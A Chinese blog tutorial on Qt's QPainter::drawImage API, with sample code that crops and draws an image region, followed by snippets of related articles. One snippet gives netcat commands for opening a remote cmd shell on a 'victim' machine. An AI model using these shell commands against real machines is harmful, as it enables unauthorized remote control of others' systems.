阅读本文大概需要 3 分钟

我们在开发软件的过程中,绘制图像功能必不可少,使用 Qt 绘制图像时非常简单,只需要传递几个参数就可以实现功能,在 Qt 中绘制图像的 api有好几个

    void drawImage(const QRectF &targetRect, const QImage &image, const QRectF &sourceRect,
Qt::ImageConversionFlags flags = Qt::AutoColor);
inline void drawImage(const QRect &targetRect, const QImage &image, const QRect &sourceRect,
Qt::ImageConversionFlags flags = Qt::AutoColor);
inline void drawImage(const QPointF &p, const QImage &image, const QRectF &sr,
Qt::ImageConversionFlags flags = Qt::AutoColor);
inline void drawImage(const QPoint &p, const QImage &image, const QRect &sr,
Qt::ImageConversionFlags flags = Qt::AutoColor);
inline void drawImage(const QRectF &r, const QImage &image);
inline void drawImage(const QRect &r, const QImage &image);
void drawImage(const QPointF &p, const QImage &image);
inline void drawImage(const QPoint &p, const QImage &image);
inline void drawImage(int x, int y, const QImage &image, int sx = 0, int sy = 0,
int sw = -1, int sh = -1, Qt::ImageConversionFlags flags = Qt::AutoColor);

不过最常用的还是下面这个

void drawImage(const QRectF &targetRect, const QImage &image, const QRectF &sourceRect,
Qt::ImageConversionFlags flags = Qt::AutoColor);

其中有几个参数需要注意并理解下

  • targetRect 表示要绘制的目标矩形大小,也就是最终要显示的矩形大小区域
  • sourceRect 表示源图像要绘制的区域,会根据该区域大小来绘制图像

下面是测试代码

    QImage image("G:/drawImage_test.png");

    int nWidth = image.width();
int nHeight = image.height(); QRectF target(10.0, 20.0, nWidth, nHeight); //建立目标矩形,表示从10,20开始位置绘制图像
QRectF source(0.0, 0.0, 256.0, 256.0); //建立源矩形,表示从图像0,0位置开始,取256大小的区域去绘制
QImage backImage(nWidth, nHeight, QImage::Format_ARGB32);
backImage.fill(Qt::gray); QPainter painter(&backImage);
painter.drawImage(target, image, source);
backImage.save("G:/drawImage_test_out.png", "png");

运行程序,效果如下

原始图像 drawImage_test.png

绘制后的图像 drawImage_test_out.png

可以明显看到,绘制图像从(10,20)开始,截取原始图像(0,0)位置开始,256*256大小区域进行了绘制

QPinter 常用绘制图像的方法的更多相关文章

  1. Python解析Wav文件并绘制波形的方法

    资源下载 #本文PDF版下载 Python解析Wav文件并绘制波形的方法 #本文代码下载 Wav波形绘图代码 #本文实例音频文件night.wav下载 音频文件下载 (石进-夜的钢琴曲) 前言 在现在 ...

  2. Javascript高级编程学习笔记(90)—— Canvas(7) 绘制图像

    绘制图像 2D绘图上下文内置了对图像的支持 如果希望将一幅图绘制到画布上,可以使用 drawImage() 的方法 该方法有三种不同的参数数组合以对应不同的应用场景 将<img>绘制到画布 ...

  3. iOS:quartz2D绘图(处理图像,绘制图像并添加水印)

    绘制图像既可以重写drawRect:方法并在该方法中绘制,也可以不用重写该方法,它有封装好的函数获取自己的图像绘制上下文,即UIGraphicsBeginImageContext(CGSize siz ...

  4. 在web中绘制图像 -- canvas篇

    汗,不小心点击发布了.其实正在编辑中...... HTML Canvas是现代浏览器中非常棒的绘图技术,Canvas可以绘制图形,操作图片,制作游戏,创建动画等:Canvas是很容易使用的,下面我们来 ...

  5. QPainter 绘制图像接口

    阅读本文大概需要 3 分钟 我们在开发软件的过程中,绘制图像功能必不可少,使用 Qt 绘制图像时非常简单,只需要传递几个参数就可以实现功能,在 Qt 中绘制图像的 api有好几个 void drawI ...

  6. 2.pygame快速入门-绘制图像

    介绍 在游戏中能够看到的游戏元素大都是图像 图像文件初始是保存在磁盘上的,如果需要使用,第一步就需要被加载到内存 要在屏幕上看到某一个图像的内容,需要按照三个步骤 使用pygame.image.loa ...

  7. jQuery 的选择器常用的元素查找方法

    jQuery 的选择器常用的元素查找方法 基本选择器: $("#myELement")    选择id值等于myElement的元素,id值不能重复在文档中只能有一个id值是myE ...

  8. Android中View的绘制过程 onMeasure方法简述 附有自定义View例子

    Android中View的绘制过程 onMeasure方法简述 附有自定义View例子 Android中View的绘制过程 当Activity获得焦点时,它将被要求绘制自己的布局,Android fr ...

  9. LaTeX常用数学符号表示方法

    转自:http://www.mohu.org/info/symbols/symbols.htm 常用数学符号的 LaTeX 表示方法 (以下内容主要摘自“一份不太简短的 LATEX2e 介绍”) 1. ...

随机推荐

  1. 八、TestNG忽略测试

    一个TestNG  测试类中如果有的方法不想测试可以使用 enabled 属性 enabled = false  该方法不参与测试 enabled = true  该方法参与测试 @Test 不写en ...

  2. Java基础数据类型详解

    在Java中的数据类型一共有8种,大致分为整型(4个)浮点型(2个)布尔(1)字符(1个) 分类 类型 默认值 占用字节 范围 整型 byte 0 1 = 8 bit -2^7 - 2^7 short ...

  3. mysql-创建用户报错ERROR 1396 (HY000): Operation CREATE USER failed for 'XXXX'@'XXXX'

    创建用户: create user 'test'@'%' identified by 'test'; 显示ERROR 1396 (HY000): Operation CREATE USER faile ...

  4. nc监控实现调用受害者cmd

    正向连接 受害者 IP 是直接暴漏在公网的 或者你们同属于一个内网 受害者:nc.exe -vlp 1234 -e cmd.exe 攻击者 nc 192.168.1.1 1234 nc -lvvp 8 ...

  5. python干货:pop()函数的用法 [弹出删除功能]

    什么是弹出功能? 使用pop()删除元素是将元素从列表中删弹出,术语弹出(pop)源自这样的类比:列表像一个栈,而删除列表末尾的元素就相当于弹出栈顶元素 方法pop()删除并返回列表中的最后一个元素. ...

  6. BST和DST简单的matlab程序(图的广度和深度遍历)

    图的广度和深度遍历,具体内容教材有 clc;clear all;close all; %初始化邻接压缩表compressTable=[1 2;1 3;1 4;2 4;2 5;3 6;4 6;4 7]; ...

  7. Powerdesigner中表导出sql语句关于字段注释乱码的问题

    问题说明 注释中的汉字都变成了?,应该是编码的问题. declare @CurrentUser sysname select @CurrentUser = user_name() execute sp ...

  8. 浅析Python闭包

    1.什么是闭包 在介绍闭包概念前,我们先来看一段简短的代码 def sum_calc(*args): def wrapper(): sum = 0 for n in args: sum += n; r ...

  9. .net core 和 WPF 开发升讯威在线客服与营销系统:(插曲)一次端口攻击行为的分析与应对

    本系列文章详细介绍使用 .net core 和 WPF 开发 升讯威在线客服与营销系统 的过程.本产品已经成熟稳定并投入商用. 在线演示环境:https://kf.shengxunwei.com 注意 ...

  10. 运行命令区分webpack环境,以及axios数据请求的封装

    在开发环境和线上环境时,由于环境的不同,有时候需要修改一定的代码,可以通过配置webpack环境来减少对代码的修改:另外,有时候去看别人的代码,你可能都找不到他的数据请求在什么位置,最近在做一个vue ...